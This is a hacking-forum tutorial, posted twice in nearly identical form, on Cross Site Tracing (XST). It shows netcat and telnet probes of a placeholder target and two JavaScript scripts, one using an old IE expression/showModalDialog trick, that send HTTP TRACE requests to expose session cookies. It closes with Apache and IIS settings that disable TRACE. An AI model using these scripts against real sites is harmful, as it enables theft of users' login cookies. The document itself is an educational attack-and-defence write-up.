Oct 18, 2012 06:36 AM
(This post was last modified: Oct 20, 2012 05:00 AM by Error667.)
Well guys, here is another tutorial I wrote 2 days ago. To answer questions from some members, I've been arrested but will continue to learn and to teach things about security (without hacking for real).
This text is written for personal learning only in the goal to learn defence to learn how to protect against this type of attack. I do not endorse or promote any act of hacking.
Overview
Cross Site Tracing (XST) enables an attacker to steal the victim's session cookies and possibly other authentication credentials transmitted in the header of the HTTP request when the victim's browser communicates to destination system's web server. XST is based on the HTTP TRACE function. XST Attack is possible if there is already an XSS vulnerability.
Utility ? An XSS vulnerability would not normally have access to information (including cookies) on another site apart the one which has a flow, because of browser security models. The XST overcomes this
limitation.
How ? Because the TRACE method returns the full header of the client request. Cookies of a domain targeted by a query automatically appear in the header sent by the browser.
SYSTEMS AFFECTED ;
Apache
IBM Corporation
Lotus Software
Microsoft Corporation
Sun Microsystems, Inc.
To perform this type of attack, it is highly recommanded to use old broswers versions like IE 6.0.
Indeed, 'httpOnly', an extra parameter added to cookies which hides the cookie from the script by disalowing the scripting languages (JS, VB) on the “document.cookie" object, is supported on most broswers
nowadays, but still not IE 6.0 or above. Then, it's easier to get the data.
In this type of attack, even if 'httpOnly' is enabled, an attacker could send to the broswer an HTTP TRACE request, and then send the server response to another website.
Doing that can be, for example, used to bypass the broswer protection politic, or even to do some phishing.
AN EXAMPLE OF ATTACK.
A - Is the target supporting HTTP TRACE ?
1 - With NetCat.
Easy to know. Go on your linux machine and download NETCAT. Then, do like the following command ;
Something like that should be returned ;
HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 31 Oct 2006 08:00:29 GMT
Connection: close
Allow: GET, HEAD, POST, TRACE, OPTIONS
Content-Length: 0
As you can see at the 5th line, TRACE is supported.
2 - With Telnet.
Just enter this command :
If you see a line 'TRACE: yes' in the report, so it's enabled.
3 - With RESTClient (Firefox add-on).
Download link : https://addons.mozilla.org/en-US/firefox...estclient/
B - Exploitation
The goal is here to enter an XST script (=request) in a webpage of a target as a POST method.
Here is an example which can be used :
I've written the explanations of this script, whose you can see below :
var xmlHttp = new ActiveXObject(“Microsoft.XMLHTTP”); // Creates the object
xmlHttp.open(“TRACE”, “INSERT_YOUR_URL_HERE”,false); // Specifies the type of request, the URL, and if the request should be handled asynchronously or not.
method: the type of request - GET or POST
url: the location of the file on the server
async: true (asynchronous) or false (synchronous)
xmlHttp.send(); // Used to to transfer data to the server
xmlDoc=xmlHttp.responseText; // get the response data as a string
alert(xmlDoc); // Display the XML content using javascript
<INPUT TYPE=BUTTON OnClick=”sendTrace();” VALUE=”Send Trace Request”> // Makes a button. To resume, it starts the script when you click on.
Another script, which is better for XST :
Explanations of some commands (Well to be honnest, I'll not explain what I don't understand - was easier for the 1st script.) :
showModalDialog(target, null, readyCode); // Creates a modal dialog box that displays the specified HTML document.
cExampleCode = encodeURIComponent(exampleCode + ‘;top.close()’); // Means that 'cExampleCode' is the URI's exampleCode which has been encoded.
(decodeURIComponent(“’ + cExampleCode + ‘”)))’; // Decodes the URI of 'cExampleCode'.
xmlHttp.open(\”TRACE\”,\”INSERT_YOUR_URL_HERE\”,false) // Same as before.
top.close() // Used to close the JS pop'up.
var target = “INSERT_YOUR_URL_HERE”; // Just to enter the URL of the target.
Note that a part of the data you'll get (like the authorization parameter) will be in BASE64 encoded.
You can find tons of BASE64 decoders, but I would recommand this one : http://www.crypo.org/tools/eng_base64c.php
You should have a classic JS window which appears when you excecute the script code. For now, you don't see many differences with XSS. But wait.
XST's potential : to go further
Using a client-side vulnerability (to be more precise, a vuln in the victim's broswer), an hacker may host a website that contains one of the malicious javascript source code we have seen previously.
The Javascript code would just have to establish a connection to a random site that supports TRACE and where the victim is connected on. After stealing authentication cookies, the victim's account becomes
compromised. And this, just with a link.
Of course, one could multiply the number of malicious scripts on the website in order to do the same on several sites simultaneously.
If you still don't understand, here's a schema I made.
![[Image: vbSVZ.png?1]](https://i.imgur.com/vbSVZ.png?1)
How to protect ?
So, you don't wan't all this shit happens ? XST is easy to avoid : you need to disable HTTP TRACE support.
1 - Apache systems
You need to set TraceEnable Off. Change ON by OFF in the main server config.
If you're boring and wan't a longer method, use the mod_rewrite module. TRACE requests can be disabled with the following mod_rewrite syntax :
You can verify using Telnet (Refer to A2). If TRACE has been disabled, the server should respond with a 403 Forbidden or 405 Method Not Allowed.
2 - Microsoft IIS
Use the URLScan tool to deny HTTP TRACE requests, available here : http://www.iis.net/learn/extensions/work...-reference
Make sure the version of the tool is higher than 2.5.
*
I hope I was clear enough on this tutorial.
Regards,
Twitter : https://twitter.com/BZyklon#
This text is written for personal learning only in the goal to learn defence to learn how to protect against this type of attack. I do not endorse or promote any act of hacking.
Overview
Cross Site Tracing (XST) enables an attacker to steal the victim's session cookies and possibly other authentication credentials transmitted in the header of the HTTP request when the victim's browser communicates to destination system's web server. XST is based on the HTTP TRACE function. XST Attack is possible if there is already an XSS vulnerability.
Utility ? An XSS vulnerability would not normally have access to information (including cookies) on another site apart the one which has a flow, because of browser security models. The XST overcomes this
limitation.
How ? Because the TRACE method returns the full header of the client request. Cookies of a domain targeted by a query automatically appear in the header sent by the browser.
SYSTEMS AFFECTED ;
Apache
IBM Corporation
Lotus Software
Microsoft Corporation
Sun Microsystems, Inc.
To perform this type of attack, it is highly recommanded to use old broswers versions like IE 6.0.
Indeed, 'httpOnly', an extra parameter added to cookies which hides the cookie from the script by disalowing the scripting languages (JS, VB) on the “document.cookie" object, is supported on most broswers
nowadays, but still not IE 6.0 or above. Then, it's easier to get the data.
In this type of attack, even if 'httpOnly' is enabled, an attacker could send to the broswer an HTTP TRACE request, and then send the server response to another website.
Doing that can be, for example, used to bypass the broswer protection politic, or even to do some phishing.
AN EXAMPLE OF ATTACK.
A - Is the target supporting HTTP TRACE ?
1 - With NetCat.
Easy to know. Go on your linux machine and download NETCAT. Then, do like the following command ;
Code
nc www.target.com 80Something like that should be returned ;
HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 31 Oct 2006 08:00:29 GMT
Connection: close
Allow: GET, HEAD, POST, TRACE, OPTIONS
Content-Length: 0
As you can see at the 5th line, TRACE is supported.
2 - With Telnet.
Just enter this command :
Code
telnet www.target.com 80If you see a line 'TRACE: yes' in the report, so it's enabled.
3 - With RESTClient (Firefox add-on).
Download link : https://addons.mozilla.org/en-US/firefox...estclient/
B - Exploitation
The goal is here to enter an XST script (=request) in a webpage of a target as a POST method.
Here is an example which can be used :
Code
<script type=”text/javascript”>
[b]<!--[/b]
function sendTrace () {
var xmlHttp = new ActiveXObject(“Microsoft.XMLHTTP”);
xmlHttp.open(“TRACE”, “INSERT_YOUR_URL_HERE”,false);
xmlHttp.send();
xmlDoc=xmlHttp.responseText;
alert(xmlDoc);
}
//-->
</script>
<INPUT TYPE=BUTTON OnClick=”sendTrace();” VALUE=”Send Trace Request”>I've written the explanations of this script, whose you can see below :
var xmlHttp = new ActiveXObject(“Microsoft.XMLHTTP”); // Creates the object
xmlHttp.open(“TRACE”, “INSERT_YOUR_URL_HERE”,false); // Specifies the type of request, the URL, and if the request should be handled asynchronously or not.
method: the type of request - GET or POST
url: the location of the file on the server
async: true (asynchronous) or false (synchronous)
xmlHttp.send(); // Used to to transfer data to the server
xmlDoc=xmlHttp.responseText; // get the response data as a string
alert(xmlDoc); // Display the XML content using javascript
<INPUT TYPE=BUTTON OnClick=”sendTrace();” VALUE=”Send Trace Request”> // Makes a button. To resume, it starts the script when you click on.
Another script, which is better for XST :
Code
<script type=”text/javascript”>
function xssDomainTraceRequest(){
var exampleCode = “var xmlHttp = new ActiveXObject(\”Microsoft.XMLHTTP\”)\;xmlHttp.open(\”TRACE\”,\”INSERT_YOUR_URL_HERE\”,false)\
;xmlHttp.send()\;xmlDoc=xmlHttp.responseText\;alert(xmlDoc)\;”;
var target = “INSERT_YOUR_URL_HERE”;
cExampleCode = encodeURIComponent(exampleCode + ‘;top.close()’);
var readyCode = ‘font-size:expression(execScript(decodeURIComponent(“’ + cExampleCode + ‘”)))’;
showModalDialog(target, null, readyCode);
}
</script>
<INPUT TYPE=BUTTON OnClick=”xssDomainTraceRequest()” VALUE=”Show Cookie
Information Using TRACE”>Explanations of some commands (Well to be honnest, I'll not explain what I don't understand - was easier for the 1st script.) :
showModalDialog(target, null, readyCode); // Creates a modal dialog box that displays the specified HTML document.
cExampleCode = encodeURIComponent(exampleCode + ‘;top.close()’); // Means that 'cExampleCode' is the URI's exampleCode which has been encoded.
(decodeURIComponent(“’ + cExampleCode + ‘”)))’; // Decodes the URI of 'cExampleCode'.
xmlHttp.open(\”TRACE\”,\”INSERT_YOUR_URL_HERE\”,false) // Same as before.
top.close() // Used to close the JS pop'up.
var target = “INSERT_YOUR_URL_HERE”; // Just to enter the URL of the target.
Note that a part of the data you'll get (like the authorization parameter) will be in BASE64 encoded.
You can find tons of BASE64 decoders, but I would recommand this one : http://www.crypo.org/tools/eng_base64c.php
You should have a classic JS window which appears when you excecute the script code. For now, you don't see many differences with XSS. But wait.
XST's potential : to go further
Using a client-side vulnerability (to be more precise, a vuln in the victim's broswer), an hacker may host a website that contains one of the malicious javascript source code we have seen previously.
The Javascript code would just have to establish a connection to a random site that supports TRACE and where the victim is connected on. After stealing authentication cookies, the victim's account becomes
compromised. And this, just with a link.
Of course, one could multiply the number of malicious scripts on the website in order to do the same on several sites simultaneously.
If you still don't understand, here's a schema I made.
How to protect ?
So, you don't wan't all this shit happens ? XST is easy to avoid : you need to disable HTTP TRACE support.
1 - Apache systems
You need to set TraceEnable Off. Change ON by OFF in the main server config.
If you're boring and wan't a longer method, use the mod_rewrite module. TRACE requests can be disabled with the following mod_rewrite syntax :
Code
RewriteEngine On
RewriteCond %{REQUEST_METHOD} ^TRACE
RewriteRule .* - [F].You can verify using Telnet (Refer to A2). If TRACE has been disabled, the server should respond with a 403 Forbidden or 405 Method Not Allowed.
2 - Microsoft IIS
Use the URLScan tool to deny HTTP TRACE requests, available here : http://www.iis.net/learn/extensions/work...-reference
Make sure the version of the tool is higher than 2.5.
*
I hope I was clear enough on this tutorial.
Regards,
Twitter : https://twitter.com/BZyklon#
![[Image: eh4TL.gif]](https://i.imgur.com/eh4TL.gif)